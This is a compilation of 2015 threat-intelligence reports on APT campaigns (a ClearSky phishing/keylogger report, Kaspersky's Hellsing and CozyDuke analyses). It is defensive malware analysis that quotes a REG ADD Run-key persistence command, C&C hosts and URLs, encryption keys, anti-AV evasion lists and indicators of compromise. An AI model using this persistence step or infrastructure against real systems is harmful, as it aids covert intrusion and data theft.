the excel sheet is then presented. It is case specific and customized to the victim. Different malware can be downloaded to the infected computer. On an infected computer we have analyzed, we found CWoolger Keylogger. The macro, two files, and CWoolger are analyzed below. Macro The VBA macro is similar to that used to drop Gholee, as we reported about 8 month ago11. However, in current case, a simple downloader was used instead of Gholee. The VBA contains a series of functions built of VBA Character Codes: These are constructed into a single variable and then written as a file to disc, creating and running NTUSER.dat{GUID}.exe Next, tmp.bat is written and executed. http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 15 of 18 tmp.bat Tmp.Bat contains two lines. The first create a registry key without prompting the user for permission, telling the computer to run NTUSER.dat{GUID}.exefrom %USERPROFILE% every time the computer starts, naming it My App . For example: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F /D "C:\Users\Nisa\NTUSER.dat{813E7E06-2AC5-4F3D-94DA-CF6E298F7B18}.exe" The second line deletes tmp.bat. NTUSER.dat{GUID}.exe The dropped exe file (55ff220e38556ff902528ac984fc72dc) is a Downloader. It is created in %UserProfile%, sized 8.5KB, and is recognized by 19 out of 57 antiviruses on Virus Total12 (the sample was not submitted by us). It contains simple mechanisms to detect and prevent analysis, such as IsDebuggerPresent: The malware tries to download files form a remote address, apparently stage two , the actual malware. CWoolger Keylogger We have not been able to get the final malware when running the malicious excel file and dropper in the lab, as the server was not responding. However, we have performed forensic analysis of the computer used by a target who opened the malicious Excel file. That computer was infected with CWoolger keylogger. An analysis of this tool can be read in Trendmicro paper Operation WOOLEN-GOLDFISH 13 in chapter Wool3n.H4t s Recent Activities: CWoolger Keylogger Below are additional notes about the infection we found: virustotal.com/en/file/072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4/analysis/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolengoldfish.pdf ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 16 of 18 The CWoolger exe file was located in %appdata%\microsoft\windows\templates\wlg.exe To gain persistency, a link to the exe file was placed in in the Startup folder, with the name WinDefender and the notepad icon. A file containing the collected keystrokes is saved in %temp% in a file called wlg.dat. it is sent to an attacker controlled server every 15 minutes. These findings are similar to those found by Trendmicro indicating that the attackers have been using the same tool for months. We would like to thank Omri moyal, VP Research at Minerva Labs for assisting the analysis. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 17 of 18 Technical indicators and IoC Domains Domains hosting phishing pages: login-users[.]com drives-google[.]co qooqle[.]co video[.]qooqle[.]co drive-google[.]co gfimail[.]us Google-Setting[.]com Google-Verify[.]com Mail-Verify[.]com IPs of phishing pages: 107.6.172.51 5.39.223.227 31.192.105.10 Malware Downloader: SHA-1 SHA-256 55ff220e38556ff902528ac984fc72dc b67572a18282e79974dc61fffb8ca3d0f4fca1b0 072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4 SHA1 SHA-256 b4790618672197cab31681994bbc10a4 d5b2b30fe2d4759c199e3659d561a50f88a7fb2e 1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4 SHA1 SHA256 60f5bc820cf38e78b51e1e20fed290b5 476489f75fed479f19bac02c79ce1befc62a6633 69e48eb82ce7387d65cc1a82c5a6a170dc6121d479736b1dd33358d09c483617 Malicious Email accounts Fake or breached email accounts, from which malicious messages were sent: saeed.kn2003@gmail.com ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 18 of 18 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist securelist.com Updated Apr 15th, 2015 The Chronicles of the Hellsing APT: the Empire Strikes Back Introduction One of the most active APT groups in Asia, and especially around the South China Sea area is "Naikon". Naikon plays a key part in our story, but the focus of this report is on another threat actor entirely one who came to our attention when they hit back at a Naikon attack. Naikon is known for its custom backdoor, called RARSTONE, which our colleagues at Trend Micro have described in detail. The name Naikon comes from a custom user agent string, "NOKIAN95/WEB", located within the backdoor: NOKIAN string in Naikon backdoor The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way. What was perhaps one of the biggest operations of the Naikon group was launched in March 2014, in the wake of the MH370 tragedy that took place on March 8th. By March 11th, the Naikon group was actively hitting most of the nations involved in the search for MH370. The targets were extremely wide ranging but included institutions with access to information related to the disappearance of MH370, such as: Office of the President Armed Forces Office of the Cabinet Secretary National Security Council(s) Office of the Solicitor General National Intelligence Coordinating Agency Civil Aviation Authority Department of Justice https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 1/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist National Police Presidential Management Staff The Naikon group used mostly spear phished documents for the attacks, with CVE 2012 0158 exploits that dropped the group's signature backdoor. While many of these attacks were successful, at least one of the targets didn't seem to like being hit, and instead of opening the documents, decided on a very different course of action. The empire strikes back Here's a question what should you do when you receiving a suspicious document from somebody you don't know, or know very little? Choose one: Open the document Don't open the document Open the document on a Mac (everybody knows Mac's don't get viruses) Open the document in a virtual machine with Linux Based on our experience, most people would say 2, 3 or 4. Very few would open the document and even fewer would actually decide to test the attacker and verify its story. But this is exactly what happened when one of the Naikon spear phishing targets received a suspicious email. Instead of opening the document or choosing to open it on an exotic platform, they decided to check the story with the sender: Naikon target asks for confirmation of the email In the email above, we can see the target questioning the authenticity of the Naikon spear phishing. They ask the sender if it was their intention to email this document. The attacker was, of course, not confused in the slightest, and being very familiar with the internal structure of the target's government agency, replied claiming that they work for the secretariat division and were instructed to send it by the organization's management: https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 2/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist Naikon attacker replies to the target The reply is written in poor English and indicates that the attacker is probably not as proficient in the language as the intended victim. Seeing the reply, the target obviously decided not to open the document. Moreover, they decided to go a bit further and try to learn more about the attacker. Not long after the first exchange, the following email was sent to the attacker by the target: The attachment is a RAR archive with password, which allows it to safely bypass malware scanners associated with the free email account used by the attackers. Inside the archive we find two decode PDF files and one SCR file: Much to our surprise, the "SCR" file turned out to be a backdoor prepared especially for the Naikon fraudsters. The file "Directory of ... Mar 31, 2014.scr" (md5: 198fc1af5cd278091f36645a77c18ffa) drops a blank document containing the error message and a backdoor module (md5: 588f41b1f34b29529bc117346355113f). The backdoor connects to the command server located at philippinenews[.]mooo[.]com. The backdoor can perform the following actions: download files https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 3/10 4/15/2015 download files upload files update itself uninstall itself The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist We were amazed to see this course of action and decided to investigate the "Empire Strikes Back" door further naming the actor "Hellsing" (explained later). The malware used by the intended victim appears to have the following geographical distribution, according to KSN data: Malaysia government networks Philippines government networks Indonesia government networks USA diplomatic agencies India (old versions of malware) In addition, we've observed the targeting of ASEAN related entities. Victims of Hellsing attacks The actor targets its intended victims using spear phishing emails with archives containing malware, similar to the one it used against the Naikon group. Some of the attachment names we observed include: 2013 Mid Year IAG Meeting Admin Circular FINAL.7z HSG FOLG ITEMS FOR USE OF NEWLY PROMOTED YNC FEDERICO P AMORADA 798085 PN CLN.zip Home Office Directory as of May 2012.Please find attached here the latest DFA directory and key position officials for your referenece.scr LOI Nr 135 12 re 2nd Quarter.Scr Letter from Paquito Ochoa to Albert Del Rosario,the Current Secretary of Foreign Affairs of the https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 4/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist Letter from Paquito Ochoa to Albert Del Rosario,the Current Secretary of Foreign Affairs of the Philippines.7z Letter to SND_Office Call and Visit to Commander, United States Pacific Command (USPACOM) VER 4.0.zip ACES Fellowship Program.scr RAND Analytic Architecture for Capabilities Based Planning, Mission System Analysis, and Transformation.scr Update Attachments_Interaction of Military Personnel with the President _2012_06_28.rar Update SND Meeting with the President re Hasahasa Shoal Incident.scr Washington DC Directory November 2012 EMBASSY OF THE PHILIPPINES.zip 2012&ZPE 2012.rar 2012.PDF.scr We've observed RAR, ZIP and 7ZIP archives in the attacks the 7ZIP archives with passwords were probably introduced as a way to bypass the recent security features on Gmail, which block password protected archives with executables inside. Each backdoor has a command and control server inside as well as a version number and a campaign or victim identifier. Some examples include: Date Campaign identifier 2682a1246199a18967c98cb32191230c 2014 freebsd.extrimtur[.]com 1.6.1_MOTAC 31b3cc60dbecb653ae972db9e57e14ec 2014 freebsd.extrimtur[.]com 1.6.1_MOTAC 4dbfd37fd851daebdae7f009adec3cbd 2013 articles.whynotad[.]com 1.5_articles.whynotad.com 015915bbfcda1b2b884db87262970a11 2014 guaranteed9.strangled[.]net 1.5_guaranteed9 3a40e0deb14f821516eadaed24301335 2014 hosts.mysaol[.]com 1.6.1_imi simple 73396bacd33cde4c8cb699bcf11d9f56 2013 web01.crabdance[.]com 1.5_op_laptop 7c0be4e6aee5bc5960baa57c6a93f420 2013 hosts.mysaol[.]com 1.5_MMEA bff9c356e20a49bbcb12547c8d483352 2014 imgs09.homenet[.]org 1.6.1_It c0e85b34697c8561452a149a0b123435 2014 imgs09.homenet[.]org 1.6.1_It f13deac7d2c1a971f98c9365b071db92 hosts.mysaol[.]com 1.5_MMEA 2013 https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 5/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist 2013 f74ccb013edd82b25fd1726b17b670e5 2014 second.photo frame[.]com 1.6.2s_Ab The campaign identifiers could be related to the organizations targeted by the specific builds of this APT. Some possible descriptions for these initials could be: MOTAC Ministry of Tourism and Culture, Malaysia http://www.motac.gov.my/en/ NSC http://www.nsc.gov.my/ MMEA Malaysian Maritime Enforcement Agency http://www.mmea.gov.my Artifacts and overlap with other APTs Interestingly, some of the infrastructure used by the attackers appears to overlap (although around a year apart) with a group tracked internally at Kaspersky Lab as PlayfullDragon (also known as "GREF") while other aspects of the infrastructure overlap with a group known as Mirage or Vixen Panda. For instance, one of the PlayfullDragon's Xslcmd backdoors described by our colleagues from FireEye (md5: 6c3be96b65a7db4662ccaae34d6e72cc) beams to cdi.indiadigest[.]in:53. One of the Hellsing samples we analysed (md5: 0cbefd8cd4b9a36c791d926f84f10b7b) connects to the C&C server at webmm[.]indiadigest[.]in. Although the hostname is not the same, the top level domain suggests some kind of connection between the groups. Several other C&C subdomains on "indiadigest[.]in" include: aac.indiadigest[.]in ld.indiadigest[.]in longc.indiadigest[.]in Another overlap we observed is with an APT known as Cycldek or Goblin Panda. Some of the Hellsing samples we analysed in this operation (e.g. md5: a91c9a2b1bc4020514c6c49c5ff84298) communicate with the server webb[.]huntingtomingalls[.]com, using a protocol specific to the Cycldek backdoors (binup.asp/textup.asp/online.asp). It appears that the Hellsing developer started with the Cycldek sources and worked together with the operators from other APT groups. Nevertheless, it is sufficiently different to warrant classification as a stand alone operation. So, where does the Hellsing name come from? One of the samples we analysed (md5: 036e021e1b7f61cddfd294f791de7ea2) appears to have been compiled in a rush and the attacker forgot to remove the debug information. One can see the project name is Hellsing and the malware is called "msger": Of course, Hellsing can have many different meanings, including the famous doctor from Bram Stoker's Dracula. However, according to Wikipedia, "Hellsing ( Herushingu) is also a Japanese mang a series written and illustrated by Kouta Hirano. It first premiered in Young King Ours in 1997 and ended in September 2008". https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 6/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist The Hellsing series chronicles the efforts of the mysterious and secret Hellsing Organization, as it combats vampires, ghouls, and other supernatural foes which makes it perhaps an appropriate name for our group. In addition to the Hellsing/msger malware, we've identified a second generation of Trojan samples which appear to be called "xweber" by the attackers: "Xweber" seems to be the more recent Trojan, taking into account compilation timestamps. All the "msger" samples we have seen appear to have been compiled in 2012. The "Xweber" samples are from 2013 and from 2014, indicating that at some point during 2013 the "msger" malware project was renamed and/or integrated into "Xweber". During our investigation we've observed the Hellsing APT using both the "Xweber" and "msger" backdoors in their attacks, as well as other tools named "xrat", "clare", "irene" and "xKat". Other tools Once the Hellsing attackers compromise a computer, they deploy other tools which can be used for gathering further information about the victim or doing lateral movement. One such tool is "test.exe": https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 7/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist gathering further information about the victim or doing lateral movement. One such tool is "test.exe": Name test.exe Size 45,568 bytes 14309b52f5a3df8cb0eb5b6dae9ce4da Type Win32 PE i386 executable This tool is used to gather information and test available proxies. Interestingly, it also contains the Hellsing debug path: Another attack tool deployed in a victim's environment was a file system driver, named "diskfilter.sys", although internally it claims to be named "xrat.sys". The driver is unsigned and compiled for 32 Windows. It was used briefly in 2013, before being abandoned by the attackers, possibly due to Windows 7 driver signing requirements: Another tool used by the attackers is called "xKat": Name xkat.exe Size 78,848 bytes 621e4c293313e8638fb8f725c0ae9d0f Type Win32 PE i386 executable This is a powerful file deletion and process killer which uses a driver (Dbgv.sys) to perform the operations. We've seen it being used by the attackers to kill and delete malware belonging to their competitors. Some of the debug paths found in the binaries include: e:\Hellsing\release\clare.pdb e:\Hellsing\release\irene\irene.pdb d:\hellsing\sys\irene\objchk_win7_x86\i386\irene.pdb d:\hellsing\sys\xkat\objchk_win7_x86\i386\xKat.pdb d:\Hellsing\release\msger\msger_install.pdb d:\Hellsing\release\msger\msger_server.pdb d:\hellsing\sys\xrat\objchk_win7_x86\i386\xrat.pdb D:\Hellsing\release\exe\exe\test.pdb Attribution https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 8/10 4/15/2015 Attribution The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist In general, the attribution of APTs is a very tricky task which is why we prefer to publish technical details and allow others to draw their own conclusions. The Hellsing related samples appear to have been compiled around the following times: Assuming normal work starts at around 9 am, the attacker seems to be most active in a time zone of GMT+8 or +9, considering a work program of 9/10 am to 6/7pm. Conclusions The Hellsing APT group is currently active in the APAC region, hitting targets mainly in the South China Sea area, with a focus on Malaysia, the Philippines and Indonesia. The group has a relatively small footprint compared to massive operations such as "Equation". Smaller groups can have the advantage of being able to stay under the radar for longer periods of time, which is what happened here. The targeting of the Naikon group by the Hellsing APT is perhaps the most interesting part. In the past, we've seen APT groups accidentally hitting each other while stealing address books from victims and then mass mailing everyone on each of these lists. But, considering the timing and origin of the attack, the current case seems more likely to be an APT APT attack. To protect against a Hellsing attack, we recommend that organisations follow basic security best practices: Don't open attachments from people you don't know Beware of password protected archives which contain SCR or other executable files inside If you are unsure about the attachment, try to open it in a sandbox Make sure you have a modern operating system with all patches installed Update all third party applications such as Microsoft Office, Java, Adobe Flash Player and Adobe Reader Kaspersky Lab products detect the backdoors used by the Hellsing attacker as: https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a% 9/10 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist Kaspersky Lab products detect the backdoors used by the Hellsing attacker as: HEUR:Trojan.Win32.Generic, Trojan Dropper.Win32.Agent.kbuj, Trojan Dropper.Win32.Agent.kzqq. Deny the Hellsing APT by default Appendix: Hellsing Indicators of Compromise Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web. Terms of Service Privacy Policy https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterToken=U%3D12cf71a 10/10 4/21/2015 The CozyDuke APT - Securelist The CozyDuke APT - Securelist securelist.com Updated Apr 21st, 2015 The CozyDuke APT CozyDuke (aka CozyBear, CozyCar or "Office Monkeys") is a threat actor that became increasingly active in the 2nd half of 2014 and hit a variety of targets. The White House and Department of State are two of the most spectacular known victims. The operation presents several interesting aspects blatantly sensitive high profile victims and targets crypto and anti-detection capabilities strong malware functional and structural similarities mating this toolset to early MiniDuke second stage components, along with more recent CosmicDuke and OnionDuke components The actor often spearphishes targets with e-mails containing a link to a hacked website. Sometimes it is a high profile, legitimate site such as "diplomacy.pl", hosting a ZIP archive. The ZIP archive contains a RAR SFX which installs the malware and shows an empty PDF decoy. In other highly successful runs, this actor sends out phony flash videos directly as email attachments. A clever example is "Office Monkeys LOL Video.zip". The executable within not only plays a flash video, but drops and runs another CozyDuke executable. These videos are quickly passed around offices with delight while systems are infected in the background silently. Many of this APT's components are signed with phony Intel and AMD digital certificates. Recent Cozyduke APT activity attracted significant attention in the news: Sources: State Dept. hack the 'worst ever' White House computer network 'hacked' Three Months Later, State Department Hasn't Rooted Out Hackers https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 1/10 4/21/2015 The CozyDuke APT - Securelist Three Months Later, State Department Hasn't Rooted Out Hackers State Department shuts down its e-mail system amid concerns about hacking Let's examine a smattering of representative CozyDuke files and data. There is much to their toolset. Office Monkeys dropper analysis The droppers and spyware components often maintain fairly common characteristics 68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to %temp% 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague. It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,338kb,player.exe,Trojan.Win32.CozyBear.v,CompiledOn:2014.07. 02 21:13:33 The file collects system information, and then invokes a WMI instance in the root\securitycenter namespace to identify security products installed on the system, meaning that this code was built for x86 systems, wql here: SELECT * FROM AntiVirusProduct SELECT * FROM FireWallProduct The code hunts for several security products to evade: CRYSTAL KASPERSKY SOPHOS DrWeb AVIRA COMODO Dragon In addition to the WMI/wql use, it also hunts through the "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\" registry key looking for security products to avoid. Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates. These files are stored within an 217kb encrypted cab file in the dropper's resources under the name "A". The cab file was encrypted and decrypted using a simple xor cipher with a rotating 16 byte key: \x36\x11\xdd\x08\xac\x4b\x72\xf8\x51\x04\x68\x2e\x3e\x38\x64\x32. The cab file is decompressed and its contents are created on disk. These dropped files bundle functionality for both 64bit and 32bit Windows systems: C:\Documents and Settings\user\Application Data\ATI_Subsystem\ 6761106f816313394a653db5172dc487,54kb,amdhcp32.dll 32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,60kb,aticaldd.dll 64bit dll,CompiledOn:2014.07.02 21:13:26 bc626c8f11ed753f33ad1c0fe848d898,285kb,atiumdag.dll 32bit dll, 279kb, Trojan.Win32.CozyDuke.a, CompiledOn:2014.07.02 21:13:26 4152e79e3dbde55dcf3fc2014700a022,6kb,racss.dat The code copies rundll32.exe from windows\system32 to its newly created %appdata%\ATI_Subsystem https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 2/10 4/21/2015 The CozyDuke APT - Securelist The code copies rundll32.exe from windows\system32 to its newly created %appdata%\ATI_Subsystem subdirectory as "amdocl_as32.exe" alongside the three dll's listed above. It runs atiumdag.dll with two parameter values, it's only export and an arbitrary pid, i.e.: "C:\Documents and Settings\user\Application Data\ATI_Subsystem\amdocl_as32.exe" "C:\Documents and Settings\user\Application Data\ATI_Subsystem\atiumdag.dll"", ADL2_ApplicationProfiles_System_Reload 1684" This dll is built with anti-AV protections as well. However, it looks for a different but overlapping set, and the random duplication suggests that this component was cobbled together with its dropper, partly regionally based on target selection. KASPERSKY The code collects information about the system efd5aba3-6719-4655-8a72-1aa93feefa38C:\Documents and Settings\user\Application Data\ATI_Subsystem\amdocl_as32exeMyPCuserMicrosoft Windows XP 512600 SP 30 x32Admin192.60.11.1008:11:17:f2:9a:efSophos Anti-Virus Finally, this process beacons to www.sanjosemaristas.com, which appears to be a site that has been compromised and misused multiple times in the past couple of years. hxxp://www.sanjosemaristas.com/app/index.php?{A01BA0AD-9BB3-4F38-B76B-A00AD11CBAAA}, providing the current network adapter's service name GUID. It uses standard Win32 base cryptography functions to generate a CALG_RC4 session key to encrypt the collected data communications and POSTs it to the server. Executable-Signing Certificates Samples are usually signed with a fake certificate - we've seen two instances, one AMD and one Intel: Configuration files: Some of the malware uses an encrypted configuration file which is stored on disk as "racss.dat". This is encrypted by RC4, using key {0xb5, 0x78, 0x62, 0x52, 0x98, 0x3e, 0x24, 0xd7, 0x3b, 0xc6, 0xee, 0x7c, https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 3/10 4/21/2015 The CozyDuke APT - Securelist 0xb9, 0xed, 0x91, 0x62}. Here's how it looks decrypted: C&Cs: 121.193.130.170:443/wp-ajax.php 183.78.169.5:443/search.php 200.119.128.45:443/mobile.php 200.125.133.28:443/search.php 200.125.142.11:443/news.php 201.76.51.10:443/plugins/json.php 202.206.232.20:443/rss.php 202.76.237.216:443/search.php 203.156.161.49:443/plugins/twitter.php 208.75.241.246:443/msearch.php 209.40.72.2:443/plugins/fsearch.php 210.59.2.20:443/search.php 208.77.177.24:443/fsearch.php www.getiton.hants.org.uk:80/themes/front/img/ajax.php www.seccionpolitica.com.ar:80/galeria/index.php 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Second stage malware and communications: https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 4/10 4/21/2015 The CozyDuke APT - Securelist The attackers send commands and new modules to be executed to the victims through the C&Cs. The C&C scripts store these temporarily until the next victim connects in local files. We've identified two such files: settings.db sdfg3d.db Here's how such a database file appears: These are BASE64 encoded and use the same RC4 encryption key as the malware configuration. Decoding them resulted in the following payloads: 59704bc8bedef32709ab1128734aa846 *ChromeUpdate.ex_ 5d8835982d8bfc8b047eb47322436c8a *cmd_task.dll e0b6f0d368c81a0fb197774d0072f759 *screenshot_task.dll Decoding them also resulted in a set of tasking files maintaining agent commands and parameter values: conf.xml And a set of "reporting" files, maintaining stolen system "info", error output, and "AgentInfo" output, from victim systems: DCOM_amdocl_ld_API_.raw Util_amdave_System_.vol Last_amdpcom_Subsystem_.max Data_amdmiracast_API_.aaf 7.txt screenshot_task.dll is a 32-bit dll used to take a screenshot of the full desktop window and save it as a bitmap in %temp%. The number of times the screenshot is repeated is configurable within the xml task file. cmd_task.dll is a 32-bit dll that maintains several primitives. It is used to create new processes, perform as a command line shell, and several other tasks. Each of these payloads is delivered together with a configuration file that explains how to run it, for instance: https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 5/10 4/21/2015 The CozyDuke APT - Securelist Furthermore, ChromeUpdate is a 64-bit executable (which appears to be a WEXTRACT package) that oddly drops a 32-bit Dll. Cache.dll is simply stored as a cabinet file in the ChromeUpdate's resource section. ChromeUpdate.exe starts the file with "rundll32 cache.dll,ADB_Setup" Cache.dll analysis Cache.dll was written in C/C++ and built with a Microsoft compiler. Cache.dll code flow overview rc4 decrypt hardcoded c2 and urls resolve hidden function calls collect identifying victim system data encrypt collected data send stolen data to c2 and retrieve commands Cache.dll code details Structurally, cache.dll is a fairly large backdoor at 425kb. It maintains both code and data in the raw, encrypted blobs of data to be decrypted and used at runtime, and hidden functionality that isn't exposed until runtime. No pdb/debug strings are present in the code. It maintains eight exports, including DllMain: ADB_Add ADB_Cleanup ADB_Initnj ADB_Load ADB_Release ADB_Remove ADB_Setup ADB_Setup is a entry point that simply spawns another thread and waits for completion. https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 6/10 4/21/2015 The CozyDuke APT - Securelist Above, we see a new thread created with the start address of Cache.dll export "ADB_Load" by the initial thread. This exported function is passed control while the initial thread runs a Windows message loop. It first grabs an encrypted blob stored away in a global variable and pulls out 381 bytes of this encrypted data: The standard win32 api CryptDecrypt uses rc4 to decrypt this blob into a hardcoded c2, url path, and url parameters listed below with a simple 140-bit key "\x8B\xFF\x55\x8B\xEC\x83\xEC\x50\xA1\x84\x18\x03\x68\x33\xC9\x66\xF7\x45\x10\xE8\x1F\x89\x45\xF C\x8B\x45\x14\x56". https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 7/10 4/21/2015 The CozyDuke APT - Securelist The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office monkey "atiumdag.dll" component, this code collects identifying system information using standard win32 API calls: Computer name - GetComputerNameW User name - GetUserNameW Adapter GUID, ip address, mac address - GetAdaptersInfo Windows version - GetVersionExW It then uses the runtime resolved networking API calls to send the collected data back to a hardcoded c2 and set of urls. Cache.dll connectback urls: 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Observed user-agent string on the wire, but it's dynamically generated based on the Windows system settings (retrieved using standard win32 api "ObtainUserAgentString"): "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)" https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 8/10 4/21/2015 3.0.04506.648; .NET CLR 3.5.21022)" The CozyDuke APT - Securelist Connections with MiniDuke/CosmicDuke/OnionDuke: One of the second stage modules of Cozy Bear, Show.dll, is particularly interesting because it appears to have been built onto the same platform as OnionDuke. Below we compare Show.dll with the OnionDuke sample MD5: c8eb6040fd02d77660d19057a38ff769. Both have exactly the same export tables and appear to be called internally "UserCache.dll": This seems to indicate the authors of OnionDuke and Cozy Bear are the same, or working together. Another interesting comparison of two other files matches a recent second stage tool from the CozyDuke attacks with a second stage component from other Miniduke/Onionduke attacks. 2e0361fd73f60c76c69806205307ccac, update.dll (Miniduke), 425kb (internal name = "UserCache.dll") 9e3f3b5e9ece79102d257e8cf982e09e, cache.dll (Cozyduke), 425kb (internal name = "UserCache.dll") The two share identical export function names in their export directories, and the naming appears to be randomly assigned at compile time. The table below presents the function matches based on size data, but the calls, jmps and code all match as well. The contents of only one of these exports in update.dll has no match whatsoever in cache.dll. https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3A 9/10 4/21/2015 The CozyDuke APT - Securelist Unlike the atiumdag.dll file above, however, cache.dll and update.dll do not maintain anti-AV and antianalysis functionality sets. Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality. We expect ongoing and further activity from this group in the near future and variations on the malware used in previous duke-ish incidents. For more information about MiniDuke, CosmicDuke and OnionDuke, please see References. Appendix: Parallel and Previous Research The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor, Securelist, Feb 2013 Miniduke is back: Nemesis Gemina and the Botgen Studio, Securelist, July 2014 MiniDuke 2 (CosmicDuke), CrySyS, July 2014 COSMICDUKE Cosmu with a twist of MiniDuke [pdf], F-Secure, September 2014 THE CASE OF THE MODIFIED BINARIES, Leviathan Security, October 2014 A word on CosmicDuke, Blaze's Security Blog, September 2014 OnionDuke: APT Attacks Via the Tor Network, F-Secure, November 2014 The Connections Between MiniDuke, CosmicDuke and OnionDuke, F-Secure, January 2015 Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web. Terms of Service Privacy Policy https://www.evernote.com/shard/s170/nl/19724058/59b535d9-1b13-4c1b-9fbc-22386837eae5/?csrfBusterToken=U%3D12cf71a%3AP%3D%2F%3 10/10 The Naikon APT Tracking Down Geo-Political Intelligence Across APAC, One Nation at a Time By Kurt Baumgartner, Maxim Golovkin on May 14, 2015. 3:00 am PUBLICATIONS APT CYBER ESPIONAGE SOCIAL ENGINEERING TARGETED ATTACKS 